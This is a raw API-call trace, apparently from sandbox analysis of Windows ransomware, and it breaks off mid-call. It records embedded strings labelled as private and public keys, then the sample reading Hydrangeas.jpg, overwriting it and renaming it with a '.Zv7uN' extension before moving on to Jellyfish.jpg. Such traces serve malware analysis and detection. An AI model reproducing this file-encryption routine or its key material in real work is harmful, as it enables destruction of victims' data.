lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0120.331] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0120.332] GetCurrentThreadId () returned 0xa30 [0120.332] GetCurrentThreadId () returned 0xa30 [0120.332] GetCurrentThreadId () returned 0xa30 [0120.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0120.333] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0120.333] GetCurrentThreadId () returned 0xa30 [0120.333] GetCurrentThreadId () returned 0xa30 [0120.333] GetCurrentThreadId () returned 0xa30 [0120.333] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0120.334] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0120.334] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0120.334] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x91554 [0120.334] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0120.334] VirtualAlloc (lpAddress=0x0, dwSize=0xa0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef00000 [0120.335] ReadFile (in: hFile=0x1ec, lpBuffer=0x7ef00010, nNumberOfBytesToRead=0x91554, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x7ef00010*, lpNumberOfBytesRead=0x18f6a0*=0x91554, lpOverlapped=0x0) returned 1 [0120.357] CloseHandle (hObject=0x1ec) returned 1 [0120.357] VirtualAlloc (lpAddress=0x0, dwSize=0xa0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ee60000 [0120.386] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0120.399] WriteFile (in: hFile=0x1ec, lpBuffer=0x7ee60010*, nNumberOfBytesToWrite=0x91554, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x7ee60010*, lpNumberOfBytesWritten=0x18f6ac*=0x91554, lpOverlapped=0x0) returned 1 [0120.423] CloseHandle (hObject=0x1ec) returned 1 [0120.423] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Hydrangeas.jpg.Zv7uN" (normalized: "c:\\users\\public\\pictures\\sample pictures\\hydrangeas.jpg.zv7un")) returned 1 [0120.424] VirtualFree (lpAddress=0x7ef00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.433] VirtualFree (lpAddress=0x7ee60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.459] GetCurrentThreadId () returned 0xa30 [0120.459] GetCurrentThreadId () returned 0xa30 [0120.459] GetCurrentThreadId () returned 0xa30 [0120.459] GetCurrentThreadId () returned 0xa30 [0120.459] GetCurrentThreadId () returned 0xa30 [0120.459] GetCurrentThreadId () returned 0xa30 [0120.459] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbd616, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Jellyfish.jpg", cAlternateFileName="JELLYF~1.JPG")) returned 1 [0120.459] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0120.459] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0120.459] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbd616)) returned 1 [0120.460] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg")) returned 0x20 [0120.461] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg", dwFileAttributes=0x80) returned 1 [0120.463] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 